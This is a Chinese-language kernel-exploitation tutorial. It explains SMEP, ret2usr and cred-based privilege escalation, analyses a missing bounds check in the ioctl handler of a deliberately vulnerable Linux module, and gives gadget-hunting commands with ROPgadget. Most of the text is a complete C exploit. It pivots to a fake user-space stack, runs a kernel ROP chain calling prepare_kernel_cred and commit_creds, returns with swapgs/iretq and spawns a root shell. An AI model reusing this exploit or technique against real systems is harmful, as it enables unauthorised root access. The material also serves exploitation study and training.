0x00 前言
1.SMEP(Supervisor Mode Execution Protection):一种减缓内核利用的cpu策略,禁止内核态到用户态内存页的代码执行(32位的addresses < 0x80000000),每一页都有smep标识来标明是否允许ring0的代码执行。
2.传统的提权方式是在内核中获取当前进程的内核栈,遍历task_struct(具体方法参考《内核漏洞的利用与防范》p102),找到uid、gid修改值为0,并找到kernel_cap_t修改值为0xFFFFFFFF(保持所有权限)。
目前典型的攻击方式是ret2usr,即内核态执行流重定向到用户空间地址,2.6.29以后引入了cred结构,所以提权payload可为 :
void __attribute__((regparm(3))) payload() {
commit_creds(prepare_kernel_cred(0);//创建新的凭证结构体,且uid/gid为0,为当前任务设置新的权限凭据
}
3.目标:用户空间中伪造内核栈,执行内核空间的ROP链,即在用户空间内执行内核rop gadgets提权。
ROP chain(x86_64):
4.准备Gadget(用extract-vmlinux提取elf镜像,ROPgadget寻找gadget):
1)sudo file /boot/vmlinuz*
2)sudo ./extract-vmlinux /boot/vmlinuz* > vmlinux
3)ROPgadget.py --binary ./vmlinux > ~/ropgadget.txt
4)grep ‘: pop rdi ; ret‘ ropgadget.txt
5.导入有漏洞的内核模块,dmesg查看加载路径:
0x01漏洞分析:
static long device_ioctl(struct file *file, unsigned int cmd, unsigned long args) { struct drv_req *req; void (*fn)(void); switch(cmd) { case 0: req = (struct drv_req *)args; printk(KERN_INFO "size = %lx\n", req->offset); printk(KERN_INFO "fn is at %p\n", &ops[req->offset]); fn = &ops[req->offset];//设备命令传输的时候,未对传入的参数做边界检查导致任意地址访问,且args是unsigned long类型,可以传入任意内核地址 fn(); break; default: break; } return 0; }
0x02 exp
/**
* ROP exploit for drv.c kernel module
*
* gcc rop_exploit.c -O2 -o exploit
*/
#define _GNU_SOURCE
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/mman.h>
#include <assert.h>
#include "drv.h"
#define DEVICE_PATH "/dev/vulndrv"
unsigned long user_cs;
unsigned long user_ss;
unsigned long user_rflags;
//取参数
static void save_state() {
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"pushfq\n"
"popq %2\n"
: "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags) : : "memory" );
}
void shell(void) {
if(!getuid())
system("/bin/sh");
exit(0);
}
void usage(char *bin_name) {
fprintf(stderr, "%s array_offset_decimal array_base_address_hex\n", bin_name);
}
int main(int argc, char *argv[])
{
int fd;
struct drv_req req;
void *mapped, *temp_stack;
unsigned long base_addr, stack_addr, mmap_addr, *fake_stack;
if (argc != 3) {
usage(argv[0]);
return -1;
}
req.offset = strtoul(argv[1], NULL, 10);
base_addr = strtoul(argv[2], NULL, 16);
printf("array base address = 0x%lx\n", base_addr);
stack_addr = (base_addr + (req.offset * 8)) & 0xffffffff;//栈迁移指令会把$rXx的低32位地址(形如0xXXXXXXXX的用户空间地址 )作为新栈指针
fprintf(stdout, "stack address = 0x%lx\n", stack_addr);
mmap_addr = stack_addr & 0xffff0000;
assert((mapped = mmap((void*)mmap_addr, 0x20000, 7, 0x32, 0, 0)) == (void*)mmap_addr);
assert((temp_stack = mmap((void*)0x30000000, 0x10000000, 7, 0x32, 0, 0)) == (void*)0x30000000);
save_state(); //布置伪造栈,栈地址为执行xchg eax, esp ; ret后的stack addr,栈迁移过后就会执行rop gadgets
fake_stack = (unsigned long *)(stack_addr);
*fake_stack ++= 0xffffffff810027f9UL; /* pop %rdi; ret */
fake_stack = (unsigned long *)(stack_addr + 0x11e8 + 8);
*fake_stack ++= 0x0UL; /* NULL */
*fake_stack ++= 0xffffffff8108e530UL; /* prepare_kernel_cred() */
*fake_stack ++= 0xffffffff81044fe1UL; /* pop %rdx; ret */
//*fake_stack ++= 0xffffffff81095190UL; /* commit_creds() */
*fake_stack ++= 0xffffffff8108e276UL; // commit_creds() + 2 instructions,为ret到下一gadget须除去push ebp,
*fake_stack ++= 0xffffffff81033cf8UL; /* mov %rax, %rdi; call %rdx */
*fake_stack ++= 0xffffffff81052804UL; // swapgs ; ret
//*fake_stack ++= 0xdeadbeefUL; // dummy placeholder
*fake_stack ++= 0xffffffff81229d46UL; /* iretq */
*fake_stack ++= (unsigned long)shell; /* spawn a shell */
*fake_stack ++= user_cs; /* saved CS */
*fake_stack ++= user_rflags; /* saved EFLAGS */
*fake_stack ++= (unsigned long)(temp_stack+0x5000000); /* mmaped stack region in user space */
*fake_stack ++= user_ss; /* saved SS */
//map = mmap((void *)..., ..., 3, 0x32, 0, 0);
fd = open(DEVICE_PATH, O_RDONLY);
if (fd == -1) {
perror("open");
}
ioctl(fd, 0, &req);
return 0;
}